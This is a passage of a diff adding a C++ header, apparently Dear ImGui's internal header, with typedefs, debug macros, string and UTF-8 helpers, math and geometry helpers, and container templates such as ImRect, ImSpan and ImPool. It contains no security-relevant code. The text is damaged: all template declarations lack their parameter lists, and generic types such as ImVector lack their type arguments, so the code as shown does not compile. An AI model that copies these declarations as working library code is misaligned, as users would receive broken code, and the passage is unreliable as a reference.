center columns to find the actual flags/enum lists. +typedef int ImGuiLayoutType; // -> enum ImGuiLayoutType_ // Enum: Horizontal or vertical +typedef int ImGuiItemFlags; // -> enum ImGuiItemFlags_ // Flags: for PushItemFlag() +typedef int ImGuiItemStatusFlags; // -> enum ImGuiItemStatusFlags_ // Flags: for DC.LastItemStatusFlags +typedef int ImGuiOldColumnFlags; // -> enum ImGuiOldColumnFlags_ // Flags: for BeginColumns() +typedef int ImGuiNavHighlightFlags; // -> enum ImGuiNavHighlightFlags_ // Flags: for RenderNavHighlight() +typedef int ImGuiNavDirSourceFlags; // -> enum ImGuiNavDirSourceFlags_ // Flags: for GetNavInputAmount2d() +typedef int ImGuiNavMoveFlags; // -> enum ImGuiNavMoveFlags_ // Flags: for navigation requests +typedef int ImGuiNextItemDataFlags; // -> enum ImGuiNextItemDataFlags_ // Flags: for SetNextItemXXX() functions +typedef int ImGuiNextWindowDataFlags; // -> enum ImGuiNextWindowDataFlags_// Flags: for SetNextWindowXXX() functions +typedef int ImGuiSeparatorFlags; // -> enum ImGuiSeparatorFlags_ // Flags: for SeparatorEx() +typedef int ImGuiTextFlags; // -> enum ImGuiTextFlags_ // Flags: for TextEx() +typedef int ImGuiTooltipFlags; // -> enum ImGuiTooltipFlags_ // Flags: for BeginTooltipEx() + +typedef void (*ImGuiErrorLogCallback)(void* user_data, const char* fmt, ...); + +//----------------------------------------------------------------------------- +// [SECTION] Context pointer +// See implementation of this variable in imgui.cpp for comments and details. +//----------------------------------------------------------------------------- + +#ifndef GImGui +extern IMGUI_API ImGuiContext* GImGui; // Current implicit context pointer +#endif + +//------------------------------------------------------------------------- +// [SECTION] STB libraries includes +//------------------------------------------------------------------------- + +namespace ImStb +{ + +#undef STB_TEXTEDIT_STRING +#undef STB_TEXTEDIT_CHARTYPE +#define STB_TEXTEDIT_STRING ImGuiInputTextState +#define STB_TEXTEDIT_CHARTYPE ImWchar +#define STB_TEXTEDIT_GETWIDTH_NEWLINE (-1.0f) +#define STB_TEXTEDIT_UNDOSTATECOUNT 99 +#define STB_TEXTEDIT_UNDOCHARCOUNT 999 +#include "imstb_textedit.h" + +} // namespace ImStb + +//----------------------------------------------------------------------------- +// [SECTION] Macros +//----------------------------------------------------------------------------- + +// Debug Logging +#ifndef IMGUI_DEBUG_LOG +#define IMGUI_DEBUG_LOG(_FMT,...) printf("[%05d] " _FMT, GImGui->FrameCount, __VA_ARGS__) +#endif + +// Debug Logging for selected systems. Remove the '((void)0) //' to enable. +//#define IMGUI_DEBUG_LOG_POPUP IMGUI_DEBUG_LOG // Enable log +//#define IMGUI_DEBUG_LOG_NAV IMGUI_DEBUG_LOG // Enable log +#define IMGUI_DEBUG_LOG_POPUP(...) ((void)0) // Disable log +#define IMGUI_DEBUG_LOG_NAV(...) ((void)0) // Disable log + +// Static Asserts +#if (__cplusplus >= 201100) +#define IM_STATIC_ASSERT(_COND) static_assert(_COND, "") +#else +#define IM_STATIC_ASSERT(_COND) typedef char static_assertion_##__line__[(_COND)?1:-1] +#endif + +// "Paranoid" Debug Asserts are meant to only be enabled during specific debugging/work, otherwise would slow down the code too much. +// We currently don't have many of those so the effect is currently negligible, but onward intent to add more aggressive ones in the code. +//#define IMGUI_DEBUG_PARANOID +#ifdef IMGUI_DEBUG_PARANOID +#define IM_ASSERT_PARANOID(_EXPR) IM_ASSERT(_EXPR) +#else +#define IM_ASSERT_PARANOID(_EXPR) +#endif + +// Error handling +// Down the line in some frameworks/languages we would like to have a way to redirect those to the programmer and recover from more faults. +#ifndef IM_ASSERT_USER_ERROR +#define IM_ASSERT_USER_ERROR(_EXP,_MSG) IM_ASSERT((_EXP) && _MSG) // Recoverable User Error +#endif + +// Misc Macros +#define IM_PI 3.14159265358979323846f +#ifdef _WIN32 +#define IM_NEWLINE "\r\n" // Play it nice with Windows users (Update: since 2018-05, Notepad finally appears to support Unix-style carriage returns!) +#else +#define IM_NEWLINE "\n" +#endif +#define IM_TABSIZE (4) +#define IM_F32_TO_INT8_UNBOUND(_VAL) ((int)((_VAL) * 255.0f + ((_VAL)>=0 ? 0.5f : -0.5f))) // Unsaturated, for display purpose +#define IM_F32_TO_INT8_SAT(_VAL) ((int)(ImSaturate(_VAL) * 255.0f + 0.5f)) // Saturated, always output 0..255 +#define IM_FLOOR(_VAL) ((float)(int)(_VAL)) // ImFloor() is not inlined in MSVC debug builds +#define IM_ROUND(_VAL) ((float)(int)((_VAL) + 0.5f)) // + +// Enforce cdecl calling convention for functions called by the standard library, in case compilation settings changed the default to e.g. __vectorcall +#ifdef _MSC_VER +#define IMGUI_CDECL __cdecl +#else +#define IMGUI_CDECL +#endif + +// Debug Tools +// Use 'Metrics->Tools->Item Picker' to break into the call-stack of a specific item. +#ifndef IM_DEBUG_BREAK +#if defined(__clang__) +#define IM_DEBUG_BREAK() __builtin_debugtrap() +#elif defined (_MSC_VER) +#define IM_DEBUG_BREAK() __debugbreak() +#else +#define IM_DEBUG_BREAK() IM_ASSERT(0) // It is expected that you define IM_DEBUG_BREAK() into something that will break nicely in a debugger! +#endif +#endif // #ifndef IM_DEBUG_BREAK + +//----------------------------------------------------------------------------- +// [SECTION] Generic helpers +// Note that the ImXXX helpers functions are lower-level than ImGui functions. +// ImGui functions or the ImGui context are never called/used from other ImXXX functions. +//----------------------------------------------------------------------------- +// - Helpers: Hashing +// - Helpers: Sorting +// - Helpers: Bit manipulation +// - Helpers: String, Formatting +// - Helpers: UTF-8 <> wchar conversions +// - Helpers: ImVec2/ImVec4 operators +// - Helpers: Maths +// - Helpers: Geometry +// - Helper: ImVec1 +// - Helper: ImVec2ih +// - Helper: ImRect +// - Helper: ImBitArray +// - Helper: ImBitVector +// - Helper: ImSpan<>, ImSpanAllocator<> +// - Helper: ImPool<> +// - Helper: ImChunkStream<> +//----------------------------------------------------------------------------- + +// Helpers: Hashing +IMGUI_API ImGuiID ImHashData(const void* data, size_t data_size, ImU32 seed = 0); +IMGUI_API ImGuiID ImHashStr(const char* data, size_t data_size = 0, ImU32 seed = 0); +#ifndef IMGUI_DISABLE_OBSOLETE_FUNCTIONS +static inline ImGuiID ImHash(const void* data, int size, ImU32 seed = 0) { return size ? ImHashData(data, (size_t)size, seed) : ImHashStr((const char*)data, 0, seed); } // [moved to ImHashStr/ImHashData in 1.68] +#endif + +// Helpers: Sorting +#define ImQsort qsort + +// Helpers: Color Blending +IMGUI_API ImU32 ImAlphaBlendColors(ImU32 col_a, ImU32 col_b); + +// Helpers: Bit manipulation +static inline bool ImIsPowerOfTwo(int v) { return v != 0 && (v & (v - 1)) == 0; } +static inline bool ImIsPowerOfTwo(ImU64 v) { return v != 0 && (v & (v - 1)) == 0; } +static inline int ImUpperPowerOfTwo(int v) { v--; v |= v >> 1; v |= v >> 2; v |= v >> 4; v |= v >> 8; v |= v >> 16; v++; return v; } + +// Helpers: String, Formatting +IMGUI_API int ImStricmp(const char* str1, const char* str2); +IMGUI_API int ImStrnicmp(const char* str1, const char* str2, size_t count); +IMGUI_API void ImStrncpy(char* dst, const char* src, size_t count); +IMGUI_API char* ImStrdup(const char* str); +IMGUI_API char* ImStrdupcpy(char* dst, size_t* p_dst_size, const char* str); +IMGUI_API const char* ImStrchrRange(const char* str_begin, const char* str_end, char c); +IMGUI_API int ImStrlenW(const ImWchar* str); +IMGUI_API const char* ImStreolRange(const char* str, const char* str_end); // End end-of-line +IMGUI_API const ImWchar*ImStrbolW(const ImWchar* buf_mid_line, const ImWchar* buf_begin); // Find beginning-of-line +IMGUI_API const char* ImStristr(const char* haystack, const char* haystack_end, const char* needle, const char* needle_end); +IMGUI_API void ImStrTrimBlanks(char* str); +IMGUI_API const char* ImStrSkipBlank(const char* str); +IMGUI_API int ImFormatString(char* buf, size_t buf_size, const char* fmt, ...) IM_FMTARGS(3); +IMGUI_API int ImFormatStringV(char* buf, size_t buf_size, const char* fmt, va_list args) IM_FMTLIST(3); +IMGUI_API const char* ImParseFormatFindStart(const char* format); +IMGUI_API const char* ImParseFormatFindEnd(const char* format); +IMGUI_API const char* ImParseFormatTrimDecorations(const char* format, char* buf, size_t buf_size); +IMGUI_API int ImParseFormatPrecision(const char* format, int default_value); +static inline bool ImCharIsBlankA(char c) { return c == ' ' || c == '\t'; } +static inline bool ImCharIsBlankW(unsigned int c) { return c == ' ' || c == '\t' || c == 0x3000; } + +// Helpers: UTF-8 <> wchar conversions +IMGUI_API int ImTextStrToUtf8(char* buf, int buf_size, const ImWchar* in_text, const ImWchar* in_text_end); // return output UTF-8 bytes count +IMGUI_API int ImTextCharFromUtf8(unsigned int* out_char, const char* in_text, const char* in_text_end); // read one character. return input UTF-8 bytes count +IMGUI_API int ImTextStrFromUtf8(ImWchar* buf, int buf_size, const char* in_text, const char* in_text_end, const char** in_remaining = NULL); // return input UTF-8 bytes count +IMGUI_API int ImTextCountCharsFromUtf8(const char* in_text, const char* in_text_end); // return number of UTF-8 code-points (NOT bytes count) +IMGUI_API int ImTextCountUtf8BytesFromChar(const char* in_text, const char* in_text_end); // return number of bytes to express one char in UTF-8 +IMGUI_API int ImTextCountUtf8BytesFromStr(const ImWchar* in_text, const ImWchar* in_text_end); // return number of bytes to express string in UTF-8 + +// Helpers: ImVec2/ImVec4 operators +// We are keeping those disabled by default so they don't leak in user space, to allow user enabling implicit cast operators between ImVec2 and their own types (using IM_VEC2_CLASS_EXTRA etc.) +// We unfortunately don't have a unary- operator for ImVec2 because this would needs to be defined inside the class itself. +#ifdef IMGUI_DEFINE_MATH_OPERATORS +static inline ImVec2 operator*(const ImVec2& lhs, const float rhs) { return ImVec2(lhs.x * rhs, lhs.y * rhs); } +static inline ImVec2 operator/(const ImVec2& lhs, const float rhs) { return ImVec2(lhs.x / rhs, lhs.y / rhs); } +static inline ImVec2 operator+(const ImVec2& lhs, const ImVec2& rhs) { return ImVec2(lhs.x + rhs.x, lhs.y + rhs.y); } +static inline ImVec2 operator-(const ImVec2& lhs, const ImVec2& rhs) { return ImVec2(lhs.x - rhs.x, lhs.y - rhs.y); } +static inline ImVec2 operator*(const ImVec2& lhs, const ImVec2& rhs) { return ImVec2(lhs.x * rhs.x, lhs.y * rhs.y); } +static inline ImVec2 operator/(const ImVec2& lhs, const ImVec2& rhs) { return ImVec2(lhs.x / rhs.x, lhs.y / rhs.y); } +static inline ImVec2& operator*=(ImVec2& lhs, const float rhs) { lhs.x *= rhs; lhs.y *= rhs; return lhs; } +static inline ImVec2& operator/=(ImVec2& lhs, const float rhs) { lhs.x /= rhs; lhs.y /= rhs; return lhs; } +static inline ImVec2& operator+=(ImVec2& lhs, const ImVec2& rhs) { lhs.x += rhs.x; lhs.y += rhs.y; return lhs; } +static inline ImVec2& operator-=(ImVec2& lhs, const ImVec2& rhs) { lhs.x -= rhs.x; lhs.y -= rhs.y; return lhs; } +static inline ImVec2& operator*=(ImVec2& lhs, const ImVec2& rhs) { lhs.x *= rhs.x; lhs.y *= rhs.y; return lhs; } +static inline ImVec2& operator/=(ImVec2& lhs, const ImVec2& rhs) { lhs.x /= rhs.x; lhs.y /= rhs.y; return lhs; } +static inline ImVec4 operator+(const ImVec4& lhs, const ImVec4& rhs) { return ImVec4(lhs.x + rhs.x, lhs.y + rhs.y, lhs.z + rhs.z, lhs.w + rhs.w); } +static inline ImVec4 operator-(const ImVec4& lhs, const ImVec4& rhs) { return ImVec4(lhs.x - rhs.x, lhs.y - rhs.y, lhs.z - rhs.z, lhs.w - rhs.w); } +static inline ImVec4 operator*(const ImVec4& lhs, const ImVec4& rhs) { return ImVec4(lhs.x * rhs.x, lhs.y * rhs.y, lhs.z * rhs.z, lhs.w * rhs.w); } +#endif + +// Helpers: File System +#ifdef IMGUI_DISABLE_FILE_FUNCTIONS +#define IMGUI_DISABLE_DEFAULT_FILE_FUNCTIONS +typedef void* ImFileHandle; +static inline ImFileHandle ImFileOpen(const char*, const char*) { return NULL; } +static inline bool ImFileClose(ImFileHandle) { return false; } +static inline ImU64 ImFileGetSize(ImFileHandle) { return (ImU64)-1; } +static inline ImU64 ImFileRead(void*, ImU64, ImU64, ImFileHandle) { return 0; } +static inline ImU64 ImFileWrite(const void*, ImU64, ImU64, ImFileHandle) { return 0; } +#endif +#ifndef IMGUI_DISABLE_DEFAULT_FILE_FUNCTIONS +typedef FILE* ImFileHandle; +IMGUI_API ImFileHandle ImFileOpen(const char* filename, const char* mode); +IMGUI_API bool ImFileClose(ImFileHandle file); +IMGUI_API ImU64 ImFileGetSize(ImFileHandle file); +IMGUI_API ImU64 ImFileRead(void* data, ImU64 size, ImU64 count, ImFileHandle file); +IMGUI_API ImU64 ImFileWrite(const void* data, ImU64 size, ImU64 count, ImFileHandle file); +#else +#define IMGUI_DISABLE_TTY_FUNCTIONS // Can't use stdout, fflush if we are not using default file functions +#endif +IMGUI_API void* ImFileLoadToMemory(const char* filename, const char* mode, size_t* out_file_size = NULL, int padding_bytes = 0); + +// Helpers: Maths +// - Wrapper for standard libs functions. (Note that imgui_demo.cpp does _not_ use them to keep the code easy to copy) +#ifndef IMGUI_DISABLE_DEFAULT_MATH_FUNCTIONS +#define ImFabs(X) fabsf(X) +#define ImSqrt(X) sqrtf(X) +#define ImFmod(X, Y) fmodf((X), (Y)) +#define ImCos(X) cosf(X) +#define ImSin(X) sinf(X) +#define ImAcos(X) acosf(X) +#define ImAtan2(Y, X) atan2f((Y), (X)) +#define ImAtof(STR) atof(STR) +#define ImFloorStd(X) floorf(X) // We already uses our own ImFloor() { return (float)(int)v } internally so the standard one wrapper is named differently (it's used by e.g. stb_truetype) +#define ImCeil(X) ceilf(X) +static inline float ImPow(float x, float y) { return powf(x, y); } // DragBehaviorT/SliderBehaviorT uses ImPow with either float/double and need the precision +static inline double ImPow(double x, double y) { return pow(x, y); } +static inline float ImLog(float x) { return logf(x); } // DragBehaviorT/SliderBehaviorT uses ImLog with either float/double and need the precision +static inline double ImLog(double x) { return log(x); } +static inline float ImAbs(float x) { return fabsf(x); } +static inline double ImAbs(double x) { return fabs(x); } +static inline float ImSign(float x) { return (x < 0.0f) ? -1.0f : ((x > 0.0f) ? 1.0f : 0.0f); } // Sign operator - returns -1, 0 or 1 based on sign of argument +static inline double ImSign(double x) { return (x < 0.0) ? -1.0 : ((x > 0.0) ? 1.0 : 0.0); } +#endif +// - ImMin/ImMax/ImClamp/ImLerp/ImSwap are used by widgets which support variety of types: signed/unsigned int/long long float/double +// (Exceptionally using templates here but we could also redefine them for those types) +template static inline T ImMin(T lhs, T rhs) { return lhs < rhs ? lhs : rhs; } +template static inline T ImMax(T lhs, T rhs) { return lhs >= rhs ? lhs : rhs; } +template static inline T ImClamp(T v, T mn, T mx) { return (v < mn) ? mn : (v > mx) ? mx : v; } +template static inline T ImLerp(T a, T b, float t) { return (T)(a + (b - a) * t); } +template static inline void ImSwap(T& a, T& b) { T tmp = a; a = b; b = tmp; } +template static inline T ImAddClampOverflow(T a, T b, T mn, T mx) { if (b < 0 && (a < mn - b)) return mn; if (b > 0 && (a > mx - b)) return mx; return a + b; } +template static inline T ImSubClampOverflow(T a, T b, T mn, T mx) { if (b > 0 && (a < mn + b)) return mn; if (b < 0 && (a > mx + b)) return mx; return a - b; } +// - Misc maths helpers +static inline ImVec2 ImMin(const ImVec2& lhs, const ImVec2& rhs) { return ImVec2(lhs.x < rhs.x ? lhs.x : rhs.x, lhs.y < rhs.y ? lhs.y : rhs.y); } +static inline ImVec2 ImMax(const ImVec2& lhs, const ImVec2& rhs) { return ImVec2(lhs.x >= rhs.x ? lhs.x : rhs.x, lhs.y >= rhs.y ? lhs.y : rhs.y); } +static inline ImVec2 ImClamp(const ImVec2& v, const ImVec2& mn, ImVec2 mx) { return ImVec2((v.x < mn.x) ? mn.x : (v.x > mx.x) ? mx.x : v.x, (v.y < mn.y) ? mn.y : (v.y > mx.y) ? mx.y : v.y); } +static inline ImVec2 ImLerp(const ImVec2& a, const ImVec2& b, float t) { return ImVec2(a.x + (b.x - a.x) * t, a.y + (b.y - a.y) * t); } +static inline ImVec2 ImLerp(const ImVec2& a, const ImVec2& b, const ImVec2& t) { return ImVec2(a.x + (b.x - a.x) * t.x, a.y + (b.y - a.y) * t.y); } +static inline ImVec4 ImLerp(const ImVec4& a, const ImVec4& b, float t) { return ImVec4(a.x + (b.x - a.x) * t, a.y + (b.y - a.y) * t, a.z + (b.z - a.z) * t, a.w + (b.w - a.w) * t); } +static inline float ImSaturate(float f) { return (f < 0.0f) ? 0.0f : (f > 1.0f) ? 1.0f : f; } +static inline float ImLengthSqr(const ImVec2& lhs) { return (lhs.x * lhs.x) + (lhs.y * lhs.y); } +static inline float ImLengthSqr(const ImVec4& lhs) { return (lhs.x * lhs.x) + (lhs.y * lhs.y) + (lhs.z * lhs.z) + (lhs.w * lhs.w); } +static inline float ImInvLength(const ImVec2& lhs, float fail_value) { float d = (lhs.x * lhs.x) + (lhs.y * lhs.y); if (d > 0.0f) return 1.0f / ImSqrt(d); return fail_value; } +static inline float ImFloor(float f) { return (float)(int)(f); } +static inline ImVec2 ImFloor(const ImVec2& v) { return ImVec2((float)(int)(v.x), (float)(int)(v.y)); } +static inline int ImModPositive(int a, int b) { return (a + b) % b; } +static inline float ImDot(const ImVec2& a, const ImVec2& b) { return a.x * b.x + a.y * b.y; } +static inline ImVec2 ImRotate(const ImVec2& v, float cos_a, float sin_a) { return ImVec2(v.x * cos_a - v.y * sin_a, v.x * sin_a + v.y * cos_a); } +static inline float ImLinearSweep(float current, float target, float speed) { if (current < target) return ImMin(current + speed, target); if (current > target) return ImMax(current - speed, target); return current; } +static inline ImVec2 ImMul(const ImVec2& lhs, const ImVec2& rhs) { return ImVec2(lhs.x * rhs.x, lhs.y * rhs.y); } + +// Helpers: Geometry +IMGUI_API ImVec2 ImBezierCubicCalc(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, float t); +IMGUI_API ImVec2 ImBezierCubicClosestPoint(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, const ImVec2& p, int num_segments); // For curves with explicit number of segments +IMGUI_API ImVec2 ImBezierCubicClosestPointCasteljau(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, const ImVec2& p, float tess_tol);// For auto-tessellated curves you can use tess_tol = style.CurveTessellationTol +IMGUI_API ImVec2 ImBezierQuadraticCalc(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, float t); +IMGUI_API ImVec2 ImLineClosestPoint(const ImVec2& a, const ImVec2& b, const ImVec2& p); +IMGUI_API bool ImTriangleContainsPoint(const ImVec2& a, const ImVec2& b, const ImVec2& c, const ImVec2& p); +IMGUI_API ImVec2 ImTriangleClosestPoint(const ImVec2& a, const ImVec2& b, const ImVec2& c, const ImVec2& p); +IMGUI_API void ImTriangleBarycentricCoords(const ImVec2& a, const ImVec2& b, const ImVec2& c, const ImVec2& p, float& out_u, float& out_v, float& out_w); +inline float ImTriangleArea(const ImVec2& a, const ImVec2& b, const ImVec2& c) { return ImFabs((a.x * (b.y - c.y)) + (b.x * (c.y - a.y)) + (c.x * (a.y - b.y))) * 0.5f; } +IMGUI_API ImGuiDir ImGetDirQuadrantFromDelta(float dx, float dy); + +// Helper: ImVec1 (1D vector) +// (this odd construct is used to facilitate the transition between 1D and 2D, and the maintenance of some branches/patches) +struct ImVec1 +{ + float x; + ImVec1() { x = 0.0f; } + ImVec1(float _x) { x = _x; } +}; + +// Helper: ImVec2ih (2D vector, half-size integer, for long-term packed storage) +struct ImVec2ih +{ + short x, y; + ImVec2ih() { x = y = 0; } + ImVec2ih(short _x, short _y) { x = _x; y = _y; } + explicit ImVec2ih(const ImVec2& rhs) { x = (short)rhs.x; y = (short)rhs.y; } +}; + +// Helper: ImRect (2D axis aligned bounding-box) +// NB: we can't rely on ImVec2 math operators being available here! +struct IMGUI_API ImRect +{ + ImVec2 Min; // Upper-left + ImVec2 Max; // Lower-right + + ImRect() : Min(0.0f, 0.0f), Max(0.0f, 0.0f) {} + ImRect(const ImVec2& min, const ImVec2& max) : Min(min), Max(max) {} + ImRect(const ImVec4& v) : Min(v.x, v.y), Max(v.z, v.w) {} + ImRect(float x1, float y1, float x2, float y2) : Min(x1, y1), Max(x2, y2) {} + + ImVec2 GetCenter() const { return ImVec2((Min.x + Max.x) * 0.5f, (Min.y + Max.y) * 0.5f); } + ImVec2 GetSize() const { return ImVec2(Max.x - Min.x, Max.y - Min.y); } + float GetWidth() const { return Max.x - Min.x; } + float GetHeight() const { return Max.y - Min.y; } + ImVec2 GetTL() const { return Min; } // Top-left + ImVec2 GetTR() const { return ImVec2(Max.x, Min.y); } // Top-right + ImVec2 GetBL() const { return ImVec2(Min.x, Max.y); } // Bottom-left + ImVec2 GetBR() const { return Max; } // Bottom-right + bool Contains(const ImVec2& p) const { return p.x >= Min.x && p.y >= Min.y && p.x < Max.x && p.y < Max.y; } + bool Contains(const ImRect& r) const { return r.Min.x >= Min.x && r.Min.y >= Min.y && r.Max.x <= Max.x && r.Max.y <= Max.y; } + bool Overlaps(const ImRect& r) const { return r.Min.y < Max.y && r.Max.y > Min.y && r.Min.x < Max.x && r.Max.x > Min.x; } + void Add(const ImVec2& p) { if (Min.x > p.x) Min.x = p.x; if (Min.y > p.y) Min.y = p.y; if (Max.x < p.x) Max.x = p.x; if (Max.y < p.y) Max.y = p.y; } + void Add(const ImRect& r) { if (Min.x > r.Min.x) Min.x = r.Min.x; if (Min.y > r.Min.y) Min.y = r.Min.y; if (Max.x < r.Max.x) Max.x = r.Max.x; if (Max.y < r.Max.y) Max.y = r.Max.y; } + void Expand(const float amount) { Min.x -= amount; Min.y -= amount; Max.x += amount; Max.y += amount; } + void Expand(const ImVec2& amount) { Min.x -= amount.x; Min.y -= amount.y; Max.x += amount.x; Max.y += amount.y; } + void Translate(const ImVec2& d) { Min.x += d.x; Min.y += d.y; Max.x += d.x; Max.y += d.y; } + void TranslateX(float dx) { Min.x += dx; Max.x += dx; } + void TranslateY(float dy) { Min.y += dy; Max.y += dy; } + void ClipWith(const ImRect& r) { Min = ImMax(Min, r.Min); Max = ImMin(Max, r.Max); } // Simple version, may lead to an inverted rectangle, which is fine for Contains/Overlaps test but not for display. + void ClipWithFull(const ImRect& r) { Min = ImClamp(Min, r.Min, r.Max); Max = ImClamp(Max, r.Min, r.Max); } // Full version, ensure both points are fully clipped. + void Floor() { Min.x = IM_FLOOR(Min.x); Min.y = IM_FLOOR(Min.y); Max.x = IM_FLOOR(Max.x); Max.y = IM_FLOOR(Max.y); } + bool IsInverted() const { return Min.x > Max.x || Min.y > Max.y; } + ImVec4 ToVec4() const { return ImVec4(Min.x, Min.y, Max.x, Max.y); } +}; + +// Helper: ImBitArray +inline bool ImBitArrayTestBit(const ImU32* arr, int n) { ImU32 mask = (ImU32)1 << (n & 31); return (arr[n >> 5] & mask) != 0; } +inline void ImBitArrayClearBit(ImU32* arr, int n) { ImU32 mask = (ImU32)1 << (n & 31); arr[n >> 5] &= ~mask; } +inline void ImBitArraySetBit(ImU32* arr, int n) { ImU32 mask = (ImU32)1 << (n & 31); arr[n >> 5] |= mask; } +inline void ImBitArraySetBitRange(ImU32* arr, int n, int n2) +{ + while (n <= n2) + { + int a_mod = (n & 31); + int b_mod = (n2 > (n | 31) ? 31 : (n2 & 31)) + 1; + ImU32 mask = (ImU32)(((ImU64)1 << b_mod) - 1) & ~(ImU32)(((ImU64)1 << a_mod) - 1); + arr[n >> 5] |= mask; + n = (n + 32) & ~31; + } +} + +// Helper: ImBitArray class (wrapper over ImBitArray functions) +// Store 1-bit per value. NOT CLEARED by constructor. +template +struct IMGUI_API ImBitArray +{ + ImU32 Storage[(BITCOUNT + 31) >> 5]; + ImBitArray() { } + void ClearBits() { memset(Storage, 0, sizeof(Storage)); } + bool TestBit(int n) const { IM_ASSERT(n < BITCOUNT); return ImBitArrayTestBit(Storage, n); } + void SetBit(int n) { IM_ASSERT(n < BITCOUNT); ImBitArraySetBit(Storage, n); } + void ClearBit(int n) { IM_ASSERT(n < BITCOUNT); ImBitArrayClearBit(Storage, n); } + void SetBitRange(int n1, int n2) { ImBitArraySetBitRange(Storage, n1, n2); } +}; + +// Helper: ImBitVector +// Store 1-bit per value. +struct IMGUI_API ImBitVector +{ + ImVector Storage; + void Create(int sz) { Storage.resize((sz + 31) >> 5); memset(Storage.Data, 0, (size_t)Storage.Size * sizeof(Storage.Data[0])); } + void Clear() { Storage.clear(); } + bool TestBit(int n) const { IM_ASSERT(n < (Storage.Size << 5)); return ImBitArrayTestBit(Storage.Data, n); } + void SetBit(int n) { IM_ASSERT(n < (Storage.Size << 5)); ImBitArraySetBit(Storage.Data, n); } + void ClearBit(int n) { IM_ASSERT(n < (Storage.Size << 5)); ImBitArrayClearBit(Storage.Data, n); } +}; + +// Helper: ImSpan<> +// Pointing to a span of data we don't own. +template +struct ImSpan +{ + T* Data; + T* DataEnd; + + // Constructors, destructor + inline ImSpan() { Data = DataEnd = NULL; } + inline ImSpan(T* data, int size) { Data = data; DataEnd = data + size; } + inline ImSpan(T* data, T* data_end) { Data = data; DataEnd = data_end; } + + inline void set(T* data, int size) { Data = data; DataEnd = data + size; } + inline void set(T* data, T* data_end) { Data = data; DataEnd = data_end; } + inline int size() const { return (int)(ptrdiff_t)(DataEnd - Data); } + inline int size_in_bytes() const { return (int)(ptrdiff_t)(DataEnd - Data) * (int)sizeof(T); } + inline T& operator[](int i) { T* p = Data + i; IM_ASSERT(p >= Data && p < DataEnd); return *p; } + inline const T& operator[](int i) const { const T* p = Data + i; IM_ASSERT(p >= Data && p < DataEnd); return *p; } + + inline T* begin() { return Data; } + inline const T* begin() const { return Data; } + inline T* end() { return DataEnd; } + inline const T* end() const { return DataEnd; } + + // Utilities + inline int index_from_ptr(const T* it) const { IM_ASSERT(it >= Data && it < DataEnd); const ptrdiff_t off = it - Data; return (int)off; } +}; + +// Helper: ImSpanAllocator<> +// Facilitate storing multiple chunks into a single large block (the "arena") +template +struct ImSpanAllocator +{ + char* BasePtr; + int TotalSize; + int CurrSpan; + int Offsets[CHUNKS]; + + ImSpanAllocator() { memset(this, 0, sizeof(*this)); } + inline void ReserveBytes(int n, size_t sz) { IM_ASSERT(n == CurrSpan && n < CHUNKS); IM_UNUSED(n); Offsets[CurrSpan++] = TotalSize; TotalSize += (int)sz; } + inline int GetArenaSizeInBytes() { return TotalSize; } + inline void SetArenaBasePtr(void* base_ptr) { BasePtr = (char*)base_ptr; } + inline void* GetSpanPtrBegin(int n) { IM_ASSERT(n >= 0 && n < CHUNKS && CurrSpan == CHUNKS); return (void*)(BasePtr + Offsets[n]); } + inline void* GetSpanPtrEnd(int n) { IM_ASSERT(n >= 0 && n < CHUNKS && CurrSpan == CHUNKS); return (n + 1 < CHUNKS) ? BasePtr + Offsets[n + 1] : (void*)(BasePtr + TotalSize); } + template + inline void GetSpan(int n, ImSpan* span) { span->set((T*)GetSpanPtrBegin(n), (T*)GetSpanPtrEnd(n)); } +}; + +// Helper: ImPool<> +// Basic keyed storage for contiguous instances, slow/amortized insertion, O(1) indexable, O(Log N) queries by ID over a dense/hot buffer, +// Honor constructor/destructor. Add/remove invalidate all pointers. Indexes have the same lifetime as the associated object. +typedef int ImPoolIdx; +template +struct IMGUI_API ImPool +{ + ImVector Buf; // Contiguous data + ImGuiStorage Map; // ID->Index + ImPoolIdx FreeIdx; // Next free idx to use + + ImPool() { FreeIdx = 0; } + ~ImPool() { Clear(); } + T* GetByKey(ImGuiID key) { int idx = Map.GetInt(key, -1); return (idx != -1) ? &Buf[idx] : NULL; } + T* GetByIndex(ImPoolIdx n) { return &Buf[n]; } + ImPoolIdx GetIndex(const T* p) const { IM_ASSERT(p >= Buf.Data && p < Buf.Data + Buf.Size); return (ImPoolIdx)(p - Buf.Data); } + T* GetOrAddByKey(ImGuiID key) { int* p_idx = Map.GetIntRef(key, -1); if (*p_idx != -1) return &Buf[*p_idx]; *p_idx = FreeIdx; return Add(); } + bool Contains(const T* p) const { return (p >= Buf.Data && p < Buf.Data + Buf.Size); } + void Clear() { for (int n = 0; n < Map.Data.Size; n++) { int idx = Map.Data[n].val_i; if (idx != -1) Buf[idx].~T(); } Map.Clear(); Buf.clear(); FreeIdx = 0; } + T* Add() { int idx = FreeIdx; if (idx == Buf.Size) { Buf.resize(Buf.Size + 1); FreeIdx++; } else { FreeIdx = *(int*)&Buf[idx]; } IM_PLACEMENT_NEW(&Buf[idx]) T(); return &Buf[idx]; } + void Remove(ImGuiID key, const T* p) { Remove(key, GetIndex(p)); } + void Remove(ImGuiID key, ImPoolIdx idx) { Buf[idx].~T(); *(int*)&Buf[idx] = FreeIdx; FreeIdx = idx; Map.SetInt(key, -1); } + void Reserve(int capacity) { Buf.reserve(capacity); Map.Data.reserve(capacity); } + int GetSize() const { return Buf.Size; } +}; + +// Helper: ImChunkStream<> +// Build and iterate a contiguous stream of variable-sized structures. +// This is used by Settings to store persistent data while reducing allocation count. +// We store the chunk size first, and align the final size on 4 bytes boundaries (this what the '(X + 3) & ~3' statement is for) +// The tedious/zealous amount of casting is to avoid -Wcast-align warnings. +template +struct IMGUI_API ImChunkStream +{ + ImVector Buf; + + void clear() { Buf.clear(); } + bool empty() const { return Buf.Size == 0; } + int size() const { return Buf.Size; } + T* alloc_chunk(size_t sz) { size_t HDR_SZ = 4; sz = ((HDR_SZ + sz) + 3u) & ~3u; int off = Buf.Size; Buf.resize(off + (int)sz); ((int*)(void*)(Buf.Data + off))[0] = (int)sz; return (T*)(void*)(Buf.Data + off + (int)HDR_SZ); } + T* begin() { size_t HDR_SZ = 4; if (!Buf.Data) return NULL; return (T*)(void*)(Buf.Data + HDR_SZ); } + T* next_chunk(T* p) { size_t HDR_SZ = 4; IM_ASSERT(p 